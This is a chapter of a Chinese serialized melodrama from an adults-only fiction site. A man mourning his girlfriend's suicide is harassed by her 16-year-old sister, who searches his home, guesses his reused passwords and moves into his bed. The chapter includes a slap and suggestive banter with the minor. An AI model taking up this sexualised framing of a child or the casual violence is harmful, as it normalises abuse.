然而全部希望,都随着次日在海面打捞的屍体而变成绝望。

「秋菊…」

那些年,我二十三岁,曾以为终身伴侣的女孩离我而去,彷彿把今后的快乐
也一起带走。

微凉的晚秋,随着爱的别离告终。

(四)

《冷冬》

「杀人凶手!」

再次看到冬竹,是一年后清明节前的一星期。

秋菊的丧礼,陆家不许我以任何关系的身份参与。我没有按照秋菊遗愿把信
交到他们手上,我不希望影响夏兰现有的生活,不希望凭着半点线索,令任何人
联想到秋菊在生前曾经与高副帅有过感情上的交葛。

陆家上下都认为秋菊的死,是因为跟我感情出现问题而自寻短见,就是她的
最后一夜亦是我家渡过,我是害死秋菊的元凶。对此我不会怪责任何人,事实上
我也自觉是我的责任,如果当日我能以更好的方法安抚秋菊,也许能改变她的心
意。那自以为开解她的说话,反倒徒添了她对自己的内疚。

秋菊的死,我是责无旁贷,这是无可否认的事实。

我没有颜面再见陆家的任何一个人,他们痛失了心爱的女儿,一切指控和责
难都可以理解,换了是我也一定不能原谅害死亲人的凶手。

亦因此我挑选了一星期前的日子拜祭秋菊,没想到还是碰上了她的妹妹。原
来自二姐过世后,冬竹每个星期都会替秋菊清理墓地,每个星期,都插上她生前
喜欢的白菊花。

说是再次看到,其实我只见过冬竹一脸。当日拜访陆家的夜晚,身穿居家睡
衣的冬竹曾好奇出来看来人是谁,但只看了一眼便立刻回到房间,故此我对她的
脸是无甚印象。

但她清楚记得我,是害死她二姐的男人。

我没有面目说些什么,上前跪下向秋菊拜了三拜,插好鲜花便自行离去。冬
竹在旁边冷着白眼,直到我离去时才冷冷的抛下一句「杀人凶手」。

我没有回头,默默承受女孩的咒骂,我完全体会冬竹的心情。秋菊的墓地打
理得很好,没有半点杂草,墓碑也清洁乾净,可以看出这位妹妹是有多么疼爱她
的二姐。如果给秋菊看见,我想她一定会后悔,这世界还有很多爱她的人,要走
的一了百了,剩下仍活的饱受痛苦。

我没打算和陆家上下在往后日子有任何接触,但不如是否冥冥中自有主宰,
我跟他们还是有着割不开的缘份。当然一如当年秋菊,后来我知道那并非偶然,
冬竹是主动接触我。

秋菊离去的那段时间我未能从伤痛中抽离,每个闲下来的时间也会忆起她的
片段。为了麻醉自己,我选择以工作填满每分每秒,不让自己有太多胡思乱想空
间。

大学时我主修语言科,成绩优异,毕业后在工余继续进修师范,一年后获得
任教的资格。我到了一间以高中学生为主的晚间补习学校兼职教师,加上日间工
作,忙得不可开交。

「各位同学,我是这班的老师,姓程为仁,今后负责任教各位。」我向新开
的一班自我介绍,一如过往,程仁这个名字惹来鬨堂大笑,更有同学问我:「老
师,你的英文名字是否Lover?」

我笑着回答:「这位同学十分聪明,正是。」

班上又是大笑,这时候一位女同学扬声说:「不是Murderer吗?」

所有人一同静下,那女生继续冷然道:「杀人凶手,不应该是Murder
er?」

我望向女孩,是冬竹。

我愣了一愣,惊讶竟会在这里碰上她。班上同学对女孩的说话窃窃私语,冬
竹从座位站起,质问我道:「我有说错吗?老师你有没有杀过人?」

「哗,是杀人啊。」所有人听到这动词一同起鬨,我沉住气,微笑道:「这
位同学,我没有杀过人。」

「是吗?玩弄女性害她自杀,跟杀人有什么分别了?」冬竹咬着我不肯放,
我一时不知道怎样应对女孩的话,气氛变得十分尴尬。冬竹达到羞辱我的目的,
没有继续追问下去,但每次课堂上,总要难为我一番方可罢休。

「老师,欺骗女人感情的英语怎样写?」

「老师,不负责任的男人应该称为什么?」

「老师,我作了一篇玩弄女性而害别人自杀的文章,请你给予点评!」

甚嚣尘上,甚至连其他教师亦问我:「阿仁,听说你玩了班上女生的姐姐害
人家自杀,是真的吗?」

我没有否认,这无疑是令我增添了不少麻烦,但既然冬竹是要用这种方法替
二姐出气,我也只能承受。在决心永远守护秋菊的秘密下,我是不会作任何反驳。
相比冬竹的丧姐之痛,我受的这一点流言又算是什么。

但可能这种消极态度令冬竹未能得到她预期的效果,她对我的攻击变本加厉,
这天回到课室,看到黑板上贴了我和秋菊的照片,是一张撕成两半的照片。

我怒不可遏,也不理情况,冲过去揪起女孩的衣领吼叫:「你可以尽管侮辱
我,别侮辱你姐!」

冬竹毫无半点惧怕的盯着我:「是谁比你侮辱得她更多?」

我没有话说,抑压心情放开她的领口,叹气道:「我立刻辞职,可以了吗?」

「不可以,你做过的事今生今世也偿还不了,除非你死,否则我一世也不会
放过你!」冬竹咬牙切齿道。

「好吧,随便你。」我放弃的回到黑板前,执起感应笔在电子黑板上写出当
晚的课文。

冬竹对我的恨我是完全可以理解,秋菊自杀时她才十五岁,我想她没有跟妹
妹说过跟高副帅的事,那夏兰呢?秋菊曾表示夏兰知道她和自己丈夫的关系,那
夏兰会否猜到,二妹的轻生是因为和高副帅的感情纠纷?

算了,就是猜到又如何?死者已矣,生者何堪。我想夏兰也不希望多生事端,
这种时候就怪责谁也无补於事,只会增添大家的痛苦。

这天下课后我跟补习学校的校长提到请辞一事,他是一个开明的人,说如果
我没有做过,便不必介意冬竹的话,学生间的流言蜚语常有发生,清者自清,才
是面对谣言的正确态度。

我接受了校长的挽留,奇怪地从那天起,冬竹没有再侮辱我,也许她亦明白
贴上秋菊照片是对其姐的一种不敬,也反省了自身的行为。

但她的报复并没完结,这天下课,女孩一直跟着我尾后,我起初装作不知,
到快要到达的时候忍不住回头问她:「你要去哪里了?」

冬竹毫不掩饰的道:「去你家!」

「我家?去我家干么?」

「我要拿回二姐的东西,你不配拥有她的遗物。」冬竹的说话斩钉截铁,我
叹口气说:「是这样吗?好吧,你来拿,但可以告诉你,其实没有什么。」

「我什么也要拿,一件也不可以留下!」

「随便你。」

我和秋菊交往的时候一如正常情侣,小饰物和合照还有一点。大部份我在秋
菊离世后安放在盒子里,偶尔拿来回忆女孩,是很有价值,但如果冬竹要取回,
我也只好顺她意思。

「就只有这么多?」冬竹检查了一遍,有点不相信我,我的精神寄託即将要
被带走,心情不是很好,耸耸肩道:「交往一年,大概是这样子吧?」

「薄情男人,二姐为了你连命也不要,在你心里便只有这一点点。」冬竹不
屑骂道,我没打算反驳什么,任其发落。冬竹继续自顾自翻看其他抽屉,看看有
没什么被我藏起来。我庆幸由於家母有时候会过来替我收拾打扫,为免被其发现,
秋菊的遗书是安放在书柜最里面的暗格内,就是冬竹如何找,也不会找到。

把东西都翻过七零八乱,看到再没其他,我以为终於可以了,谁料冬竹伸出
手来:「手机拿来,里面的相片也要删掉!」

「这么狠啊…」我无奈交出,冬竹拿在手上,态度不好的命令道:「密码?」

「98769876…」

冬竹随即输入,打开相册,把里面和秋菊的合相全部删去,我欲哭无泪,一
切完成后,女孩才抱起盛载二姐遗物的盒子离去,临行前我作最后央求道:「就
留一张相片,可以吗?」

「不可以!」冬竹想也不想断然拒绝,我叹一口气,连最后一点思念秋菊的
东西都没有了,以后的日子可以怎么过?

然而冬竹的目的并非如此,次日晚上,她没有去补习学校,我回到家时,却
发觉她又在我家大肆搜掠:「是你?怎么进来的?」

冬竹没有答话,随便扬起手上锁钥,聪明女孩,昨天在翻查杂物时暗中把备
用的锁钥也拿走了,我没好气道:「昨天找了一遍,今天又找什么了?」

冬竹回头望我,眼神凌厉:「你到底有什么瞒着我?」

「瞒着你?我哪有什么瞒着的?连害死秋菊的责任我也认了,还有什么需要
隐瞒?」

「真的?那这是什么?」冬竹指着我书桌上的电脑萤光幕,我惊讶怎么被破
解密码,她得意洋洋的道:「你这种人的密码管理不会很好,只要知道一个,便
差不多其他也知道了。」

冬竹说得不错,这的确是都市人为方便的弱点。为怕搞乱忘记密码,大部份
常用电器也使用同一密码。她知道手机,便自然知道电脑。

冬竹指着的,是一个写着「秋菊」的上锁档案,我大吃一惊,慌忙道:「这
是秋菊的生活照,就只最后的一点思念,你做做好心,留点最后的纪念给我吧。」

「生活照?明明是MP4档,还要上锁,密码也跟其他的不一样,很可疑耶,
你给我看看,如果真是没什么,我就给你留下。」

我把秋菊当日留下随身碟的档案储存在电脑里,那是我和秋菊第一次做爱时
的录音,当中提及夏兰,是如何不能给冬竹听见,我坚持道:「你是秋菊妹妹,
但这是你姐的私隐,即使是你也不可以看!」

「嘿,这么紧张,果然是有鬼,那更要看了!」冬竹彷彿捉住了什么痛脚,
语气决绝,我不退一步,冬竹强行拿起电脑主机:「好吧,你不给我看我自己想
办法,就是找黑客帮忙也要找出密码!」

「你别闹了!」我忍无可忍,一掌掴在冬竹脸上。

「啪!」

冬竹没想到我们这样激动,眼带讶异,粉嫩脸蛋留下一个几乎血红的掌印,
我跪在地上,哀求道:「如果你爱秋菊的话,留给她一点作为姐姐的尊严,好吗?」

冬竹默默问道:「是做…那些事的影片?」

我轻点头,冬竹态度软化下来,她放下电脑,没再说什么便独个离去。

「呼…」我抽一口气,有想过是否要把这危险的档案删去,但我真的不舍得,
这是唯一留下秋菊的声音。

「老公!你是我的老公,程仁是陆秋菊的老公!」

我按下重播,扬声器响起秋菊的声线,这一段声音是我的生命支柱,这一年
里每个晚上我都会听一遍,彷彿秋菊仍伴在我的身边。

「秋菊…你没爱过我,但我真的很爱你…」

那个时候我仍单纯认为冬竹所做的事是出於憎恨我,故此当接着一晚,她跪
在我家咽呜求我的时候,我是手足无措。

「我求你,告诉我真相好吗?我不为什么,只是希望知道我的二姐是为什么
要死,我不想作为她妹妹,到最后一刻也不明不白。」

果然,冬竹是知道了什么。

那一瞬间我没办法有条理地回答,事出突然,我大慨比冬竹还乱。真相当然
不能说出,而要立刻编一个合情合理的故事也不容易。最重要,我要知道冬竹到
底掌握了什么。

我坐在床上,尽力冷静的反问:「为什么这样问,事情大家不都很清楚了?
还有什么需要怀疑,难道你认为是我杀死秋菊,再佈局为她自杀?」

冬竹摇头,没有回答我的话。她是一个异常精明的女生,她知道我在找寻一
些可以继续隐瞒真相的线索。在两个人都紧持不亮出自己底牌的情况下,大家死
寂了一段时间,终於比我更渴望知道事情的她让了步。

「那一天,你走之后,姐夫来了。」

冬竹口中的姐夫,毫无疑问是高副帅。

我的震惊出现脸上,瞬即收起表情,但只一秒,已经被冬竹发现。

「果然,是跟姐夫有关。」冬竹是一种找住端倪的语气。

冬竹告诉我,当日在我走之后,她再把墓地清理一遍便打算离去,没想到在
将垃圾杂物倒好的时候,碰上了高副帅。

「当时我站在山头,他没有看到我,我很奇怪,为什么姐夫会在清明节的一
星期前来拜祭,还要是单独一个人。」冬竹回忆起当日情境:「他去到二姐的墓
前跪在地上,痛哭了一段很长时间。」

「高副帅在秋菊的墓前…痛哭?」我猛抽一口气,再也无法掩饰吃惊神色。

「二姐是姐夫的小姨,会为她伤心很正常,但我不认为他需要在这种日子一
个人前来,还要哭得那么伤心。一星期后的清明节,我们一家人去拜祭,那天姐
夫也有跟大姐一起去,但完全是两种折然不同的态度,是一个丈夫给予妻子家属
的公式礼仪,态度亦很冷漠。」

冬竹像找不出理由的问道:「为什么姐夫要这样做,他明显是不想其他人知
道他对二姐的伤心是比大家看到的更多,为什么他要隐藏?他跟二姐到底有什么
关系?」

原来如此,因为一次的拜祭,令冬竹起了怀疑。我确认冬竹知道的事情并不
太多,在真相揭开前再一次企图把它倒塞:「这没什么,秋菊以前也跟我提及,
你姐夫高先生是她学校的前辈,夏兰小姐亦是经她介绍到高氏集团工作,那他们
本身是一对好朋友,也很正常吧?」

「是吗?那有必要在一星期前,大家不知道的时间去吗?又有必要故意在大
家面前表现冷漠吗?我觉得他是在隐瞒着什么。」

「可能他不想你父母误会,始终这种事需要避讳,流言蜚语对大家都不好。」

冬竹对我的答案不是很满意,事实上我的解释称不上解释,只是企图淡化她
的疑惑。她扬起眉毛说:「我知道你不会轻易告诉我,作为二姐的亲妹,你认为
我没资格知道事情的真相?」

「你当然有资格,比谁都有资格,但这就是真相,全部的真相。」

「是吗?」冬竹从口袋拿出一张相片,使我一秒唇边苍白。

是我十七岁那年,和夏兰的合照。

我不知道女孩怎样弄来这样的照片,也暗责夏兰怎么如此不小心。秋菊隐藏
得很好,为了保存大姐的幸福,她一点线索都没有留下,反倒夏兰却泄漏了证据。

「这是我从家里无意中找到,大姐出嫁后她的房间给了我,所有东西都清理
乾净,唯独在旧相册的封面内页,找到这一张藏好的照片。」冬竹质问我:「你
认识大姐?」

我内心凌乱,尽力把不会透露真相的往事说出:「对,夏兰小姐曾经是我的
补习老师,这件事秋菊也知道,亦因为我曾经是你们大姐的补习学生,她那时候
才会留意我。」

「你的意思是,大姐是你的补习老师,没有其他关系?」

「当然没有,那时候我才是小毛头,你的大姐比我大几年,又怎会看上我?」

我耸耸肩,说话依稀平常:「这种事情常有发生吧?男女朋友因为家人而认
识。」

冬竹没有再问什么,庆幸的是,她手上那张相片是很普通的合照,没有亲密
动作,被解释为老师学生的照片亦令人信服。

「好吧,我相信你,希望你没有欺骗我。」冬竹从椅上站起,态度变得平静,
临出门前,我叫住了她:「冬竹!」

女孩回头,我跟她说:「我希望你明白,有些事情过去了的便是过去,钻牛
角尖对任何人都没好处。秋菊很爱你一家,也很爱你,不会希望你活在她的阴影
里。

为了你的二姐,做回你自己,你也有你的人生。「

「谢谢。」冬竹说完这话,便关上了门。我不知道这样对她说是否会引起她
更大的怀疑,但我真的希望事情到此为止,这是一个聪明的女孩,继续下去,事
情不会瞒得住。

一定不可以给冬竹知道真相,她是一个偏激女孩,会以为秋菊的轻生是因为
夏兰横刀夺爱,陆家已经遭遇很悲痛的事情,不可以因为这女孩而再起波澜。

「秋菊,让夏兰永远幸福是你的心愿吧?希望你的妹妹,愿意听我的话。」

(五)

接下来的日子一切回复平静,冬竹没有再去补习学校,而我亦渴望不会再次
碰上她。我不讨厌这个女孩,只是希望她可以对她的疑问释怀,好好活她人生最
美丽的阶段。

然而我的愿望并没有实现,两个月后的某天下课回家,我发觉家里亮着灯光,
厨房传来一阵「卡勒卡勒」的声音。

「谁在厨房…」我把头探进去看,我是一个平凡人,住的地方也很普通,应
该不会有小偷看上。只见煮食炉在点起火,那只有母亲来探望时候才会使用的汤
煲在冒着烟。

「妈,你来了吗?」我奇怪地四处张望,从我房间步出的是冬竹。

「是你?」我的脸色明显变差,她不是一个令人厌恶的人,会有这种反应是
因为她所做的事。

「怎么了?看到小偷猫很不高兴吗?你认为你家有什么值得偷?」冬竹扬起
嘴角笑问我,记忆中这是第一次看到这女孩笑,标致的一张脸,却提不起叫人欣
赏的心情。

「谁回家看到有外人,也不会高兴吧?」我态度不好的道,冬竹嘴角的笑意
没有改变,带点嘲讽气味:「外人?一个你曾经深爱女人的妹妹,是外人。」

我是被她倒塞了嘴,对着冬竹答不出话来,她的心情看来很好,没怎跟我计
较的说:「别认真,我今天来,是多谢你。」

「多谢我?」

「多谢你,让我知道真相。」冬竹点点头,自我揭开谜底道:「他招认了。」

冬竹口的他,是高副帅。

「他把所有事都告诉了我。」

我一瞬间呆住,我简直无法相信高副帅会把一切告诉冬竹。难道他没打算保
护妻子?难道他不知道这将会毁掉夏兰与冬竹的姐妹关系?难道他连一点尊严,
也没想过要留给那为他而死的女孩?

我没有对着镜子,但我大慨猜到自己现在的表情。

「你一定很奇怪,为什么他会把一切告诉我吧?」从我的表情,聪明的冬竹
猜到我的疑问:「要守住一个令自己感到内疚秘密不是一件容易的事,愧疚愈深,
便愈想向别人倾吐,以减低缠绕心里的魔鬼。」

这个时候我是完全相信了冬竹的话,高副帅会在墓前痛哭,一定仍深爱秋菊,
那在冬竹的逼压下,会抵受不了坦白真相是可以理解。

我有种大势已去的灰沉,低着声线问道:「那既然知道,还找我干么?」

「是来答谢你,如果没有你的协助,我是永远找不出答案。」冬竹神态自若
地戴起煮食用的防热手套,打开煲盖让热气散出。

我摸不着头脑,我的协助?我协助过什么?难道跟冬竹的对话中被她发现了
什么?女孩的说话令我感到一阵慌乱,思索当日自己究竟说错了什么。

录音?冬竹听了那段录音!她可以在我家里自出自入,乘着我不在家的时候
把音频烤贝,再以软件破解密码。

一定是这样!不会有其他可能性!太大意了!明知道这样危险,我当时却没
有及时处理!

我焦躁地跑进睡房,虽然已经把档案改了名字,也换了位置,但以冬竹的聪
明,要找到不是难事。

电脑是处於关机状态,不似有人触碰,但当我正想打开电脑检查的时候,挨
在门外的冬竹脸上露出奸滑笑容:「嘿,那段片,果然跟姐夫有关系。」

我回头望着女孩,她耸耸肩:「我骗你的,我什么也没问他,他亦什么也没
招认。」

上当了…

我真蠢,居然中了冬竹的圈套,她没有问过高副帅任何事,而是以此为藉口
试探我。

太聪明的女孩,太愚蠢的我。

被比自己年少八年的小女孩计算,我有种说不出的屈辱,冬竹像是奚落我的
娇笑一声,神态自若地离开睡房,我如战败公鸡的不发一言,一股从未有过的愤
怒。

为什么?为什么我要给你愚弄?我只是为了保护你另一个姐姐,你这根本什
么情况也不知道的小妞!

离开!离开这里!离开我的家!

我冲出去外面,就是用什么方法也一定要把冬竹赶走,我不可能被她吃住,
一个大男人,怎可能受制於这种小女孩?

可是当我来到客厅,却看见她从厨房把热煲拿出来,放到餐桌上。

「这是什么?」我莫名其妙问道,冬竹把汤盛到碗上,理所当然答道:「青
红萝白猪展煲鸡脚,你身为中国人,连这种普遍的汤也没不知道吗?」

「我当然知道萝白猪展煲鸡脚,我是问你为什么在我家里煲汤?」

「不是说了,我是来答谢你,那给你煮顿晚饭是很合理。」冬竹看着我垃圾
桶里大量的即时麵空杯,语气带着揶揄:「反正,也不会有其他人给你煮吧?」

我脸一热,这个小妹妹果然是够唯我独尊,冬竹没有理我,盛好一碗递向我:
「试试味道如何?」

我满肚疑惑地接过,热汤倒映着自己的脸,不明白为什么要喝这应该称得上
是陌生女孩的汤水,冬竹调侃道:「别喝唷,里面下了毒,我是来替二姐报仇,
毒死你这个负心人。」

我闷哼一声,把汤倒进自己的口里,随即吐出来:「热!好热!」

冬竹没好气说:「明明看到刚拿出来还一口倒进去,烫死也是活该,要杀死
你这种人,连毒药都可以省掉。」

「雪…雪…」我吹着猫一样的舌头,没空再跟她作口舌之争。

我自问不是太会应付女人,更不知道如何把一个不速之客赶走。毕竟身为男
人是很难向警察报案说:有一个十六岁的女孩子,闯入我家煮晚饭。

「怎么了,不吃吗?你身为半个老师,不知道浪费食物是一种可耻的行为?」

冬竹把菜餚放满餐桌,自顾自吃着自己的一份,脸上仍是那个不理他人感受
的表情。

「我刚吃完晚饭才回来。」我一口拒绝,冬竹洞悉一切的道:「现在是九点
三十六分,补习学校九点下课,从那里回来车程二十分钟,加上步行时间,除非
你是妄顾车厢中不得饮食的条例,在车上吃了吧。」

「连这个也计得这么清楚啊,反正你脸皮厚,我也不必客气,吃就吃吧!难
不成真的怕你下毒了?」我咕咕噜噜,有点无法推辞的靦腆。拿起筷子,夹起一
口,味道是意外地好。

我有多少年没吃过住家饭,提着碗大口大口地把白饭扒进口,这个小女孩行
为令人厌恶,倒是煮得一手好菜。

「怎样?会不会比二姐差?」冬竹挥着筷子有些得意的问道,我不想跟她说
话,但仍边吃边随口答说:「你认为秋菊会给我煮晚饭吗?」

「也是,我好像从没见过二姐下厨,那大姐呢?」

「小兰也没有…咦?」脱口而出的一句,我发觉说错话了,冬竹以一种狡诈
的眼神望我,嘴角微翘:「呵,是小兰啊…」

我心中一寒,怕她又追究什么,女孩摇着手道:「你放心,我今天是来报答,
不会难为你,反正我要知道的事,你不说大概已经猜到了。」

讨厌,这实在是个讨厌的女孩。

菜餚不差,但吃之无味,我只想快点打发她走,冬竹随意地打量房子几遍,
语带轻松问道:「你现在有女朋友吗?」

我没做声,知道她又想用什么说话来踩踏我,冬竹自问自答的点头:「我问
这是多余,这里半点女人气息也没有,试问怎会有?看来除了我家姐,没有女人
会看上你。」

听到那故意加重语音的「家姐」,我不知道她指的是秋菊,抑或夏兰。

「这里租金多少?」女孩突然问道,我不想理她,还是勉强回答:「一万。」

「呵,你打一份廉价工,还要兼职老师,付这种租金是十分吃力吧,难怪没
女朋友。」

我简直连回她说话也浪费时间。

「这样吧,我给你分租一半,你的经济不就松动一点?」

对冬竹突然提议,我几乎把刚吞进口的白饭吐出来:「你分租一半?」

冬竹点头,收起笑容道:「对,二姐去世一年,妈妈仍没法接受,每天看到
她的房间睹物思人,精神愈来愈差,大姐提议他们搬过去跟她和姐夫一起住,他
们答应了。」

「这跟你分租有什么关系了?」

冬竹认真说:「我不喜欢住在别人的家里。」

「喂,这里也是别人的家吧?而且你不是说我是杀人凶手,怎么要送羊入虎
口了?」

冬竹摇头道:「经过一段时间的观察,我觉得二姐因为你而自杀的机会很低,
你是一个没用男人,不值得为你死,我想二姐的死不是因为你。」

我对她的理据哭笑不得:「那我是否要感谢你,还我一个清白?」

冬竹狠狠盯着我说:「别笑!我不是跟你开玩笑,那是我二姐的命!」

我完全不知道可以怎样跟这女孩对话,沉住气说:「好,那我也认真跟你说,
既然你父母仍未能摆脱丧女之痛,身为女儿的是否应该多陪在身边,而不是搬去
别处住,一走了之。」

「这是我家事,你可以不必管,反正我明天便搬过来,你替我准备房间吧。」

我对她的自把自为动气道:「别乱了!你以为你说怎样便怎样吗?」

女孩站起来,眼神坚决:「我是陆冬竹,从来说怎样,便怎样!」

孻女,果然是家里最不讲理的一个。

「还有半碗汤,你喝完吧。」冬竹把汤水盛在碗里递给我,我想一手拨在她
脸上。

这天冬竹把碗筷收拾好后便自行离去,我叹一口气,完全不知道她的用意。
陆家三女原来都有公主病,还一个比一个严重。

我当然不会相信冬竹的话是认真,前阵子还说我是杀人凶手,怎么今天说要
跟我同居?难不成她对秋菊之死伤心过度,得了精神病。

只是从那不像说笑的表情,也不能全不提防,这天晚上我跟补习学校请了半
天假,下班立刻回去保卫家园,可惜已经太迟,才打开门,几袋杂物全部堆在客
厅中央,看得我目盯口呆。

「呼,好重。」满头是汗的冬竹从里面出来,看到是我态度恶劣的道:「怎
么都站着不帮忙?这是男人所为吗?」

救命,这不是鸠佔鹊巢?

跑进睡房,书桌床边全是布娃娃,这是怎么一回事了?我生气回头向女孩质
问道:「谁给你把东西放进别人的房间?」

冬竹不以为意道:「昨天不是说了?连条件也谈好,现在反口你是男人吗?」

「男人,就因为是男人才不想跟女人计较,於是给一步一步踏上心口!」我
异常气愤说:「快把东西都给我拿出去!」

冬竹一副米已成炊的道:「东西都搬来了,你以为可以改变我主意吗?要走
便你走,但请放下你的半份租金。」

「喂喂喂!」

疯狂!这个女生简直比她的姐姐还要疯狂!

结果我是没有办法把冬竹赶走,我不知道现今法例到底有多少是保障男人,
男女平等显然是失了平衡。

「很累,今天不煮饭了,给我煮个即时麵吧,同屋主。」把我的房间都有置
成女生睡房后,冬竹吁一口长气道,我想把老鼠药放在她的即时麵里。

我是完全搞不懂冬竹的用意,她做的事比秋菊更不可理喻。对她的感觉亦由
最初的同情变成愤恨,失去亲人是一件可怜的事,但不能因此而胡作妄为。

我受够了,我已经受够了!

我坐在餐桌前,正色的说:「我不知道你这是什么意思,但没关系了,你想
知道什么,你要调查什么,我全部配合你,只要你不再骚扰我!」

冬竹平静道:「谢谢你的配合,可惜我现在又没兴趣知道了。正如你所说,
死者已矣,二姐已经过世一年,我再纠结在上面也无补於事,我有自己的人生,
我想二姐也不会希望我活在她的阴影里。」

冬竹的明白事理叫我感到意外:「你终於明白了啊。」

「我也不是蛮不讲理的人,不会连这种简单道理也不懂得。」

「那你既然知道,为什么还这样?」

冬竹打量一下四周:「这里不错唷,我觉得在这里,也可以活出自我。」

「喂,你这是把自己的人生建筑在别人的家里吗?」很明显这个女孩子是明
白道理,但不会跟你讲道理。我反击道:「好吧,如果你真的决定,我也欢迎,
反正这种事男人不吃亏,我习惯在家里赤条条的四围跑,拉屎洗澡也不关门,你
可以忍受才好。」

冬竹把手托在下巴不发一言,安静的望我,我忍不住发问:「你在做什么?」

冬竹语带轻佻道:「在等你脱衣服,我也想知道二姐生前的男朋友,有多大
的料子。」

这女孩,我完全不是她对手。

赶也赶不走,吓又吓不走,我是无可奈何了。唯有自我安慰好歹是秋菊妹妹,
她会变成这样自己也有一点责任,就当是还给陆家的债,给他们忍耐这横冲直撞
的小女孩吧。

「看在秋菊面上,如果你一定要留在这里也可以,但要跟我约法三章,大家
要互相尊重,保持距离。」

冬竹扬起高低眉道:「你认为你有跟我谈条件的筹码吗?」

噁,这个女生是半步不让。

想当日秋菊是把我吃得很死,想不到原来她妹才是女王。

结果这个晚上我是没法把冬竹赶走,只有无奈地让她留下。我不知道他们的
父母是什么心态,已经失去一个女儿理应很紧张,怎么会让一个十六岁的小女孩
在外面留宿。

不是留宿,是跟男人同居!

「没事了嘛,那我去洗澡。」冬竹从旅行袋拿出自己更换的衣服,把别人的
家当作自己屋企的毫不客气。

「不会吧,孤男寡女,难道她便不怕吃亏?」我咕咕噜噜,看到沐浴完毕身
穿睡衣的冬竹,这个年纪的她对我来说还是小孩子,不会有什么龌龊想法。事实
上相较於温婉体贴的夏兰,热情好动的秋菊,傍若无人的冬竹更不是我的茶,这
正好使我可以毫无杂念地把她当作妹妹看待。

自己也洗完了澡,我把枕头被套拿好预备在沙发休息,冬竹着我说:「你睡
回自己的床吧,我是新邻居,也不会这样绝情把你赶出去。」

「有这样大方?」要小女孩睡沙发也不忍心,但想清楚这都是她自找的。高
副帅大富人家,有高床暖枕不去住你跑来霸佔别人居所,受点小苦也是活该。

「跟这种女孩本来就不应该客气吧。」我拉好被褥打算舒舒服服的睡一觉,
也许一觉醒来全部是梦,可隔了一会,冬竹竟钻进我的被窝里。

「喂,你这是什么意思?」

冬竹理所当然道:「这么大张床,两个人睡也不觉窄狭,你不会这么没人性,
要一个小女孩睡沙发那么残忍吧?」

「不是吧?你打算跟我一起睡?」

「有不妥吗?」

「当然不妥,我是男人你是女人,同睡一床没问题吗?你就不怕我侵犯你!
还是你早习惯跟男人睡?」面对冬竹全不讲理的行动,我也不必客气,女孩冷冷
道:「我是处女。如果你认为侵犯前女友的妹妹良心可以过去,那你便来吧。」

然后又挑衅道:「不过,我相信你没这个勇气。」

「噁…」我有立刻捏死这婆娘的冲动。

可是在我来不及发难的时候,冬竹抱着我的软枕道:「那一天,二姐是否睡
在这里?」

这句话叫我一时哑口无言,良久才点一点头。冬竹把软枕抱得更紧,语气淒
凉:「二姐,冬竹很想你…」

看到那一条骤然滴下的眼泪,一切的怒气,我也没法再跟这女孩计较。

我是家中独子,兄弟间的感情我不是很了解,姐妹间的更不会明白。夏兰比
冬竹年长十二年,也许相较大姐,秋菊与其关系更亲暱。从那每星期也替二姐打
扫墓地一事看来,她俩姐妹的感情是非常好。

「好吧,秋菊,那便让我暂时给你看着你的妹妹吧…」

《也许待续~》
  

若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]